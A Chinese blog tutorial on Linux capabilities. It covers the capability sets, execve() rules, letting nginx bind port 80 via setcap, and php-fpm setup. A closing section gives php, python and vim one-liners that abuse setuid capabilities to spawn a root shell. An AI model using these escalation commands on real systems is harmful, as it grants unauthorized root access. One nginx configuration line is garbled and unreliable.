Capabilities

文章详细介绍了Linuxcapabilities机制,包括什么是capabilities、五个权限线程、execve()后权限变化以及如何使用capabilities赋予普通用户如nginx监听80端口的能力。此外,还提到了php-fpm和nginx的配置示例,以及capabilities在权限提升和系统安全中的应用。
摘要由CSDN通过智能技术生成


参考文献:
1、 深入解 Linux Capabilities 的原理
2、 capabilities的使用

Capabilities

作为普通用户,如果想执行某些只有管理员才有权限的操作,以前只有两种办法:一是通过 sudo 提升权限,如果用户很多,配置管理和权限控制会很麻烦;二是通过SUID来实现,它可以让普通用户在执行文件时具有root的权限。就比如ping、/bin/passwd等设置了SUID,命令执行时权限上升为root,这样做会很危险
所以Linux,引入了capabilities

一、Linux capabilities 是什么?

Capabilities机制是在Linux 内核 2.2之后引入的,原理很简单,就是将之前与超级用户root关联的特权细分为不同的功能组,Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

Capabilities可以在进程执行时赋予,也可以直接从父进程继承。之前做过nginx+php 降权访问,就是利用capabilitiesCAP_NET_BIND_SERVICE,以普通用户运行并监听在 80 端口上。这样普通用户也能访问.
capability 名称 描述

capability 名称描述
CAP_AUDIT_CONTRO启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则
CAP_AUDIT_READ允许通过 multicast netlink 套接字读取审计日志
CAP_AUDIT_WRITE将记录写入内核审计日志
CAP_BLOCK_SUSPEND使用可以阻止系统挂起的特性
CAP_CHOWN修改文件所有者的权限
CAP_DAC_OVERRIDE忽略文件的 DAC 访问限制
CAP_DAC_READ_SEARCH忽略文件读及目录搜索的 DAC 访问限制
CAP_FOWNER忽略文件属主 ID 必须和进程用户 ID 相匹配的限制
CAP_FSETID允许设置文件的 setuid 位
CAP_IPC_LOCK允许锁定共享内存片段
CAP_IPC_OWNER忽略 IPC 所有权检查
CAP_KILL允许对不属于自己的进程发送信号
CAP_LEASE允许修改文件锁的 FL_LEASE 标志
CAP_LINUX_IMMUTABLE允许修改文件的 IMMUTABLE 和 APPEND 属性标志
CAP_MAC_ADMIN允许 MAC 配置或状态更改
CAP_MAC_OVERRIDE忽略文件的 DAC 访问限制
CAP_MKNOD允许使用 mknod() 系统调用
CAP_NET_ADMIN允许执行网络管理任务
CAP_NET_BIND_SERVICE允许绑定到小于 1024 的端口
CAP_NET_BROADCAST允许网络广播和多播访问
CAP_NET_RAW允许使用原始套接字
CAP_SETGID允许改变进程的 GID
CAP_SETFCAP允许为文件设置任意的 capabilities
CAP_SETPCAP参考 capabilities man page
CAP_SETUID允许改变进程的 UID
CAP_SYS_ADMIN允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
CAP_SYS_BOOT允许重新启动系统
CAP_SYS_CHROOT允许使用 chroot() 系统调用
CAP_SYS_MODULE允许插入和删除内核模块
CAP_SYS_NICE允许提升优先级及设置其他进程的优先级
CAP_SYS_PACCT允许执行进程的 BSD 式审计
CAP_SYS_PTRACE允许跟踪任何进程
CAP_SYS_RAWIO允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备
CAP_SYS_RESOURCE忽略资源限制
CAP_SYS_TIME允许改变系统时钟
CAP_SYS_TTY_CONFIG允许配置 TTY 设备
CAP_SYSLOG允许使用 syslog() 系统调用
CAP_WAKE_ALARM允许触发一些能唤醒系统的东西(比如 CLOCK_BOOTTIME_ALARM 计时器)

二、capabilities的五个线程

  • Permitted 允许
  • Effective 有效
  • Inheritable 继承
  • Bounding 边界
  • Ambient 氛围
举个例子nginx 普通用户绑定80端口:
setcap cap_net_bind_service=eip nginx /usr/local/nginx/sbin

上述例子有允许有效继承三个权限,但如果只有ep权限,没有i是不行的,因为nginx正真工作的是子进程,所以只有ep权限的话子进程没权限是不行的,所以得加上i的权限。
Bounding 和 Ambient
Bounding 集合是 Inheritable 集合的超集,如果某个 capability 不在 Bounding 集合中,即使它在 Permitted 集合中,该线程也不能将该 capability 添加到它的 Inheritable 集合中
AmbientLinux 4.3 内核新增了一个 capabilities 集合叫 Ambient ,用来弥补 Inheritable 的不足。Ambient 具有如下特性:

  1. Permitted 和 Inheritable 未设置的 capabilities,Ambient 也不能设置。
  2. 当 Permitted 和 Inheritable 关闭某权限(比如 CAP_SYS_BOOT)后,Ambient 也随之关闭对应权限。这样就确保了降低权限后子进程也会降低权限。
  3. 非特权用户如果在 Permitted 集合中有一个 capability,那么可以添加到 Ambient 集合中,这样它的子进程便可以在 Ambient、Permitted 和 Effective 集合中获取这个 capability。

在这里插入图片描述

三、运行 execve() 后 capabilities 的变化

我们用 P 代表执行 execve() 前线程的 capabilities,P’ 代表执行 execve() 后线程的 capabilities,F 代表可执行文件的 capabilities。那么:

P(ambient) = (file is privileged) ? 0 : P(ambient)

如果用户是 root 用户,那么执行 execve() 后线程的 Ambient 集合是空集;如果是普通用户,那么执行 execve() 后线程的 Ambient 集合将会继承执行 execve() 前线程的 Ambient 集合。

P(permitted) = (P(inheritable) & F(inheritable)) |(F(permitted) & P(bounding))) |P(ambient)

执行 execve() 前线程的 Inheritable 集合与可执行文件的 Inheritable 集合取交集,会被添加到执行 execve() 后线程的 Permitted 集合;可执行文件的 capability bounding 集合与可执行文件的 Permitted 集合取交集,也会被添加到执行 execve() 后线程的 Permitted 集合;同时执行 execve() 后线程的 Ambient 集合中的 capabilities 会被自动添加到该线程的 Permitted 集合中

P(effective)   = F(effective) ? P(permitted) : P(ambient)

如果可执行文件开启了 Effective 标志位,那么在执行完 execve() 后,线程 Permitted 集合中的 capabilities 会自动添加到它的 Effective 集合中。

P(inheritable) = P(inheritable) [i.e., unchanged]

执行 execve() 前线程的 Inheritable 集合会继承给执行 execve() 后线程的 Inheritable 集合。

P(bounding) = P(bounding) [i.e., unchanged]

如下图(不包括 Ambient 集合):在这里插入图片描述

四、案例分析

nginx: [emerg] bind() to 0.0.0.0:80 failed (13: Permission denied)

方法一、依次执行如下命令

cd /usr/local/nginx/sbin/ 
chown root nginx
chmod u+s nginx

优点是,方便简单
缺点是,这个set uid 最后也是让nginx运行在root权限下。 ps -ef |grep nginx 查看的时候,nginx的主进程是运行在root下的。 虽然是可以让普通用户运行nginx服务,但是不是所有nginx进程都在用户本身下运行

方法二、iptables端口转发

使用非80端口启动程序,然后再用iptables做一个端口转发。

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080 
#用root用户直接去执行就可以了! 
(
sysctl -w net.ipv4.ip_forward=1
iptables -F -t nat #清空nat表
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to:8088
)

优点:可以用第三方用户直接启动,nginx的主进程就是用户本身来启动的
缺点:额外增加开销,负载低的情况可以,负载高了 就不太好了

方案三、赋予nginx监听80端口的能力

在这里插入图片描述

我们可以给/usr/local/nginx/sbin/ 赋予监听80端口的权限能力

chown -R tang:tang /usr/local/nginx
# 改一下/usr/local/nginxde1所有者和所属组
setcap cap_net_bind_service=+eip nginx /usr/local/nginx/sbin
#这使得普通用户也能够做只有超级用户才能完成的工作

这样就可以直接用普通用户启用nginx了。并且可以在高负载的情况下,减少由于端口转发部分的负载开销。
在这里插入图片描述
在这里插入图片描述

安装php,配合nginx

安装 PHPPHP FPM 软件包:
	yum install php php-cli php-fpm -y
检查服务状态,运行:
	systemctl status php7.4-fpm
配置php-fpm
修改配置监听9000端口来处理nginx的请求
listen = 127.0.0.1:9000

修改Nginx配置文件

vim /usr/local/nginx/conf/nginx.conf
location ~ \.php$ {
            root           html;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  /scripts$fastcgi_script_name;
            include        fastcgi.conf;
}

重启一下nginx
然后访问http://192.168.137.131/index.php出现File not found错误处理

出现File not found错误处理,分两种情况

1、php-fpm找不到SCRIPT_FILENAME里执行的php文件
2、php-fpm不能访问所执行的php,也就是权限问题

第一种情况:更改配置文件nginx.conf

fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
改为
fastcgi_param SCRIPT_FILENAME d o c u m e n t r o o t document_root documentrootfastcgi_script_name;

然后再重启nginx:进入nginx可执行目录sbin下,输入命令./nginx -s reload 即可

第二种情况

找到你的php-fpm的配置文件,找到下面这段,把apache替换成你要的用户组

; RPM: apache Choosed to be able to access some dir as httpd
user = www
; RPM: Keep a group allowed to write in log dir.
group = www

测试

成功访问http://192.168.137.131/index.php
在这里插入图片描述

五、扩展

Linux 系统中主要提供了两种工具来管理 capabilities:libcaplibcap-nglibcap 提供了 getcapsetcap 两个命令来分别查看和设置文件的 capabilities,同时还提供了 capsh 来查看当前 shell 进程的 capabilities。

libcap

以 CentOS 可以通过Yum令安装:

$ yum install -y libcap

如果想查看当前 shell 进程的 capabilities,可以用 capsh 命令。下面是 CentOS 系统中的 root 用户执行 capsh 的输出:

$ capsh --print

Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
  • Current : 表示当前 shell 进程的 Effective capabilities 和 Permitted capabilities。
  • Bounding set : 这里仅仅表示 Bounding 集合中的 capabilities,不包括其他集合,所以分组的末尾不用加上 +...

这个命令输出的信息比较有限,完整的信息可以查看 /proc 文件系统,比如当前 shell 进程就可以查看 /proc/$$/status。其中一个重要的状态就是 NoNewPrivs,可以通过以下命令查看:

grep NoNewPrivs /proc/$$/status

NoNewPrivs:    0
NoNewPrivs

Linux 内核从 3.5 版本开始,引入了 no_new_privs 属性(实际上就是一个 bit,可以开启和关闭),提供给进程一种能够在 execve() 调用整个阶段都能持续有效且安全的方法。

  • 开启了 no_new_privs 之后,execve 函数可以确保所有操作都必须调用 execve() 判断并赋予权限后才能被执行。这就确保了线程及子线程都无法获得额外的权限,因为无法执行 setuid 和 setgid,也不能设置文件的权限。
  • 一旦当前线程的 no_new_privs 被置位后,不论通过 fork,clone 或 execve 生成的子线程都无法将该位清零。

Docker 中可以通过参数 --security-opt 来开启 no_new_privs 属性,例如:docker run --security-opt=no_new_privs busybox

capabilities

可以通过 getcap 来查看文件的 capabilities,例如:

$ getcap /bin/ping /usr/sbin/arping

/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/arping = cap_net_raw+p

也可以使用 -r 参数来递归查询:

$ getcap -r /usr 2>/dev/null

在这里插入图片描述

利用Capabilities实现权限提升

php

php -r “posix_setuid(0); system(‘/bin/sh’);”
在这里插入图片描述
在kali linux上提权成功,获取了root shell。

在CentOS 7系统中安装的低版本php无法提权:
在这里插入图片描述

python
python -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’

在这里插入图片描述

vim

vim -c ‘:py import os; os.setuid(0); os.execl(“/bin/sh”, “sh”, “-c”, “reset; exec sh”)’
在这里插入图片描述
在这里插入图片描述

libcap-ng

libcap-ng 使用 filecap 命令来管理文件的 capabilities。有几个需要注意的地方:

  • filecap 添加删除或查看 capabilities 时,capabilities 的名字不需要带 CAP_ 前缀(例如,使用 NET_ADMIN 代替 CAP_NET_ADMIN);
  • filecap 不支持相对路径,只支持绝对路径;
  • filecap 不允许指定 capabilities 作用的集合,capabilities 只会被添加到 permittedeffective 集合。

查看文件的 capabilities:

$ filecap /full/path/to/file

递归查看某个目录下所有文件的 capabilities:

$ filecap /full/path/to/dir

例如:

$ filecap /usr/bin

file                 capabilities
/usr/bin/newgidmap     setgid
/usr/bin/newuidmap     setuid

设置文件的 capabilities 语法如下:

$ filecap /full/path/to/file cap_name

例如:

$ filecap /usr/bin/tac dac_override

移除某个文件的 capabilities:

$ filecap /full/path/to/file none

总结

把特权用户仅仅分为 root 和普通用户显然是过于粗糙了,这会带来安全问题。Capabilities 为解决这一问题而生,它能提供详细的特权集合,从而有效的减少系统的安全存在的问题。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值